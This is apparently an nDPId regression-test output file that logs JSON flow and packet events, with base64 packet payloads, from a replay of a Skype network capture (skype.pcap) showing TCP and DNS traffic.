+00426{"flow_id":133,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1290,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":670991,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0Ac9AADMGrmGdNziSwKgBIpxew4VPS3DcS2iudYARAB2uaQAAAQEICk2Fhbk+IwVW"} +00439{"flow_id":199,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1291,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969694,"pkt_ts_usec":863873,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8CJBAAEAG5wvAqAEi1cezjsObnEM6Aj4iHrKtfIAYECoahwAAAQEICj4jV2pQDL\/hxH9LQ46+GKw="} +00509{"flow_id":213,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1293,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":106020,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABuSWlAAEAGD2\/AqAEinTeCsMOhAbuvVQflSOC7goAYECwePwAAAQEICj4jWFxOpRVM44Sb+UDZvBPvyND8nEiSDIgGrYJQDfLAHfdrnXRK8kGdb7zASRkE5IOUEx\/7yIb01lebNVn49aeUJw=="} +00438{"flow_id":198,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1295,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":270116,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8cjdAAEAG5tXAqAEinTeCrcOanEPZ9QBBKvQZMIAYECpJpAAAAQEICj4jWP9Op72xFzP0mFIZu5U="} +00458{"flow_id":157,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1296,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":288043,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLThEAAEARqR3AqAEiwKgBAeRaADUAN2o90\/0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00459{"flow_id":158,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1297,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":288129,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLOT8AAEARve\/AqAEiwKgBAcDQADUANww\/OoYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1298,"source":"skype.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":1,"flow_first_seen":1431969695483,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.142","src_port":50086,"dst_port":40023,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":215,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1298,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":483561,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAoJZAAEAGGuzAqAEib91NjsOmnFcVc978AAAAALAC\/\/\/LYQAAAgQFtAEDAwUBAQgKPiNZ1AAAAAAEAgAA"} +00443{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1299,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":591631,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABD5OwAAEAREkrAqAEiwKgBAc5yADUAL8ad+vYBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00443{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1300,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":591712,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDIwMAAEAR1DPAqAEiwKgBAdmfADUAL7TEHKMBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00488{"flow_id":174,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1301,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":724088,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"0NQSxnP1PBXCt3IOCABFAABebtlAAEAGNB\/AqAEinTc4oMOVAbs\/vde5DvO1MYAYECyTcQAAAQEICj4jWsRNfpP1C\/K+P2bJpeJPHa2PUHDULtdZf\/0zeGwCQKqXzvyh2rxHpWJ9WEovTk91"} +00439{"flow_id":215,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1302,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":778953,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGxIZv3U2OwKgBIpxXw6bHcDhRFXPe\/aASOJD2ggAAAgQFrAQCCApNjF\/4PiNZ1AEDAwk="} +00427{"flow_id":215,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1303,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":779036,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0IC9AAEAGm1\/AqAEib91NjsOmnFcVc979x3A4UoAQECxMhgAAAQEICj4jWvtNjF\/4"} +00530{"flow_id":215,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1304,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":779610,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"0NQSxnP1PBXCt3IOCABFAAB\/uqpAAEAGAJnAqAEib91NjsOmnFcVc979x3A4UoAYECyGLwAAAQEICj4jWvtNjF\/4dWx+T3e+DQAa0u3ClZbvo4ZP+EoGFF3JcvWAwPlePIKeXEEzkaPGAplyDX6zh0een8RlUhsQQX5XHN1qU+g5Fg90VYKLwDGux8zN"} +00426{"flow_id":143,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1305,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":823293,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0lvJAADYGMftv3UovwKgBIgG7w4qMyvaUkcpNT4ARAB3HaAAAAQEICk2FdF0+Iwub"} +00498{"flow_id":183,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1306,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":836101,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABlLkpAAEAGKp3AqAEinTeCqsOYAbvnclDsz\/tu9oAYECxOFQAAAQEICj4jWzNOqgnRdB6rqSY5gTFTXdFTg9Bm\/CX0YSch8t1o2530L+EgrBJRuOnQwGMPQHcj8K4bAGf3WA=="} +00464{"flow_id":141,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1307,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":880291,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPYGJAAEAGQrPAqAEinTc4ksOIAbsXgt5RB+ihfoAZECykKwAAAQEICj4jW19NhXLb+CbW3lZbBv40\/beInvTLb7s0B7Su\/nEv8OsV"} +00426{"flow_id":141,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1308,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969695,"pkt_ts_usec":905486,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA006tAADMG3ISdNziSwKgBIgG7w4gH6KHNF4LeUYARAB1cogAAAQEICk2Fhu4+IwsF"} +00417{"flow_id":141,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1310,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":24889,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAo2E5AADMG1+2dNziSwKgBIgG7w4gH6KF+AAAAAFAEAACpogAAAAAAAAAA"} +00424{"flow_id":215,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1311,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":74445,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0WBNAADcGbHtv3U2OwKgBIpxXw6bHcDhSFXPfSIAQAB1cAAAAAQEICk2MYEI+I1r7"} +00539{"flow_id":215,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1312,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":76595,"pkt_caplen":149,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":149,"pkt_l4_len":115,"pkt":"PBXCt3IO0NQSxnP1CABFAACHWBRAADcGbCdv3U2OwKgBIpxXw6bHcDhSFXPfSIAYAB09YAAAAQEICk2MYEM+I1r7eR3blUMB5PouxFyuRYonsfZoNCz2G9oPiMPd9qt7RWlYxme9RxpPeCiB3SFgyTwfpyyt+qP4CaZfhCUS29ABPhfcnSoTqPnWzzQVQkuA8W6HjI0="} +00424{"flow_id":215,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1313,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":76661,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0OXVAAEAGghnAqAEib91NjsOmnFcVc99Ix3A4pYAQEClKeQAAAQEICj4jXCJNjGBD"} +00436{"flow_id":215,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1314,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":77198,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8jEBAAEAGL0bAqAEib91NjsOmnFcVc99Ix3A4pYAYECmzDgAAAQEICj4jXCJNjGBDwr8qfxKhl3o="} +00438{"flow_id":204,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1315,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":168935,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8u85AAEAGnTvAqAEinTeCsMOdnFaE5idx8gQMboAYECnfBgAAAQEICj4jXH5OpRO7eWBA9+mp+gg="} +00438{"flow_id":200,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1316,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":203145,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8cl1AAEAGfcDAqAEinTfrnMOcnE7UANd2M6a2f4AYECkh8QAAAQEICj4jXKBMWRmSrtaWXBVsqR0="} +00427{"flow_id":144,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1317,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":399402,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0uhpAADcGDdxv3UomwKgBIpxPw4sbzRnOlAe+CoARAB3CBAAAAQEICk1\/t34+Iw4j"} +00432{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1318,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":401221,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6lQcAAEARYjjAqAEiwKgBAcLvADUAJlJY1+QBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00426{"flow_id":168,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1319,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":498864,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0b3pAAEAGM6jAqAEinTc4oMOTnFuhu65ipKDDzIARECo6pgAAAQEICj4jXcdNfpJm"} +00428{"flow_id":174,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1320,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":498864,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA09\/ZAAEAGqyvAqAEinTc4oMOVAbs\/vdfjDvO1MYARECyweQAAAQEICj4jXcdNfpP1"} +00473{"flow_id":207,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1321,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969696,"pkt_ts_usec":883824,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"0NQSxnP1PBXCt3IOCABFAABUy\/hAAEAGjPzAqAEinTeCrcOeAbsMd48zg+uInYAYECx6\/gAAAQEICj4jX0dOp79EOIZhDgpM596b5urYTkyt6EokOB\/jfhHHccIbekKWmsc="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1323,"source":"skype.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":1431969697097,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.142","src_port":50087,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":216,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1323,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":97104,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAaXZAAEAGUgzAqAEib91NjsOnAbtL1T0XAAAAALAC\/\/\/LOAAAAgQFtAEDAwUBAQgKPiNgHAAAAAAEAgAA"} +00437{"flow_id":216,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1324,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":478541,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGxIZv3U2OwKgBIgG7w6e9PNNuS9U9GKASOJBj3AAAAgQFrAQCCApNjGGMPiNgHAEDAwk="} +00425{"flow_id":216,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1325,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":478617,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Y41AAEAGWAHAqAEib91NjsOnAbtL1T0YvTzTb4AQECy5igAAAQEICj4jYZhNjGGM"} +00525{"flow_id":216,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1326,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":478741,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8lqJAAEAGJKTAqAEib91NjsOnAbtL1T0YvTzTb4AYECzcrwAAAQEICj4jYZhNjGGMgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIA\/5AVyuzDhnvc8fYrzCNk2"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1327,"source":"skype.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_first_seen":1431969697530,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":50088,"dst_port":33033,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":217,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1327,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":530346,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAWjtAAEAGlejAqAEinTfrksOogQnO4dHgAAAAALAC\/\/9nBQAAAgQFtAEDAwUBAQgKPiNhywAAAAAEAgAA"} +00437{"flow_id":217,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1328,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":602315,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+iedN+uSwKgBIoEJw6jH8XvBzuHR4aASOJCSaAAAAgQFrAQCCApMXRz0PiNhywEDAwk="} +00426{"flow_id":217,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1329,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":602436,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0UqNAAEAGnYzAqAEinTfrksOogQnO4dHhx\/F7woAQECzpSwAAAQEICj4jYhJMXRz0"} +00463{"flow_id":208,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1330,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":602935,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"0NQSxnP1PBXCt3IOCABFAABOd+pAAEAGd5\/AqAEi1cezjsOfAbt1SdzkHtgDwIAYECzznwAAAQEICj4jYhNQDMF3EmQmnx6sH6BO82garWUNa027XrMWTbG33jE="} +00536{"flow_id":217,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1331,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":603015,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"0NQSxnP1PBXCt3IOCABFAACBGW5AAEAG1nTAqAEinTfrksOogQnO4dHhx\/F7woAYECy5sAAAAQEICj4jYhNMXRz0hJWBq8rZJChqtXfy58UzNtGZ\/\/XUC25CHPaWhljCzC+zNQUWR8Vu\/MyMsqm4LxoAPUqzyJn2b1S1YuugkY4nrC16I3iJJt8EpZJbUIE="} +00505{"flow_id":209,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1332,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":676226,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrVPlAAEAGmvXAqAEinTfrnMOgAbv31LYXE02AWoAYECxbjgAAAQEICj4jYlxMWRsjTOTU6C9pwmn1THUzY5b6U80doM\/+81I3Di34csN6MEKT2gWCOGQ+NQDycBffWk+LeTwGvX3Zbg=="} +00425{"flow_id":217,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1333,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":678429,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0ZsRAADYGk2udN+uSwKgBIoEJw6jH8XvCzuHSLoAQAB34+gAAAQEICkxdHQY+I2IT"} +00496{"flow_id":217,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1334,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":684799,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"PBXCt3IO0NQSxnP1CABFAABlZsVAADYGkzmdN+uSwKgBIoEJw6jH8XvCzuHSLoAYAB0ELwAAAQEICkxdHQg+I2IT3hXhxlSCvWOzxJ4MCmLuYf5kiBQG7qYIVHTmVPk36syFpEii\/L6ZSefmPIWv+RdFNg=="} +00426{"flow_id":217,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1335,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":684864,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA04KZAAEAGD4nAqAEinTfrksOogQnO4dIux\/F784AQECroaQAAAQEICj4jYmRMXR0I"} +00438{"flow_id":217,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1336,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":685394,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8FsRAAEAG2WPAqAEinTfrksOogQnO4dIux\/F784AYECr7mAAAAQEICj4jYmRMXR0I+8v6kCGg1MM="} +00437{"flow_id":215,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1337,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":761382,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA828xAAEAG37nAqAEib91NjsOmnFcVc99Ix3A4pYAYECmsgAAAAQEICj4jYrBNjGBDwr8qfxKhl3o="} +00425{"flow_id":216,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1338,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":774263,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0soRAADcGEgpv3U2OwKgBIgG7w6e9PNNvS9U9YIAQAB3I8gAAAQEICk2MYes+I2GY"} 